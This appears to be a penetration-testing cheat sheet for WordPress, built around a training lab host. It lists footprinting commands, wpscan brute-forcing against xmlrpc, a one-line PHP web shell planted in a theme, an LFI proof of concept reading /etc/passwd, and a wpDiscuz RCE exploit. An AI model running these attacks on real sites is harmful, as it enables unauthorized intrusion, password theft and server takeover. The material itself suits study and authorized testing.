WordPress

Introduction

• WordPress is extremely prevalent on the internet and presents a vast attack surface

• Getting access to an administrator is usually sufficient to obtain code execution on the server.

• Editors and authors might have access to certain vulnerable plugins, which normal users don’t.

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Wordpress User Roles

User Role	Description
Administrator	Full Privileges - This user role is an interesting target due to his capability of managing plugins
Editor	Can publish and manage any user's posts - This user role is an interesting target due to his capability of managing plugins
Author	Can publish and manage their posts
Contributor	Can write and manage their own post, but he cannot publish them
Subscriber	Can view posts and manage/modify their profile

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WordPress Discovery/Footprinting

Command	Description
Browse to http://blog.inlanefreight.local/robots.txt	Check if robots.txt contains any wp-entry (e.g. wp-admin, wp-content, wp-sitemap)
Browse to http://blog.inlanefreight.local/wp-admin	Check if wp-admin exists
Browse to http://blog.inlanefreight.local/wp-content	Check if wp-content exists
Browse to http://blog.inlanefreight.local/wp-content/plugins	Enumerate and look for vulnerable plugins
Browse to http://blog.inlanefreight.local/wp-content/themes	Enumerate and look for vulnerable themes
curl -s http://blog.inlanefreight.local | grep WordPress	Check webpage source
curl -s http://blog.inlanefreight.local | grep themes	Check webpage source
curl -s http://blog.inlanefreight.local | grep plugins	Check webpage source

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WpScan Basic Commands

Command	Description
wpscan --url test.example --api-token TOKENVALUE --output wpscan-ir-host	Run wpscan using an api token
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url <http://domainnameoripaddress>	Run wpscan and perform a password attack against the target

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Wordpress User Enumeration and Login Bruteforcing

• Login Form - Usernames Enumeration: in some versions of wordpress it's possible to enumerate usernames due to wordpress error messages giving too many information: whenever a username is right, the web application may show a message such as "the password is not valid", meaning that the username is valid.

• Login Form - Password Bruteforcing: wpscan can be used to bruteforce a valid user's password: sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local

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Admin User - Remote Code Execution

An aministrator account may edit PHP code in order to gain RCE

The steps are the following:

• Semi-automatically, using msfconsole: use exploit/unix/webapp/wp_admin_shell_upload

• Manually, by modifying a theme:

  1. Login as administrator → Navigate to: appearance → side panel → theme editor → select a theme

  2. Add the following to the theme: system($_GET[0]);

  3. Use the following URL to gain RCE: http://example.test/wp-content/themes/THEMENAME/FILEPHPNAME.PHP?0=id

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WordPress Known Vulnerable Plugins

1. Mail-Masta allows LFI by using the following PoC: curl -s http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

2. wpDiscuz allows RCE by using the following PoC:

   • ExploitDB: python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1

   • if it fails, use cURL to execute commands using the uploaded web shell: curl -s http://blog.inlanefreight.local/wp-content/uploads/2021/08/uthsdkbywoxeebg-1629904090.8191.php?cmd=id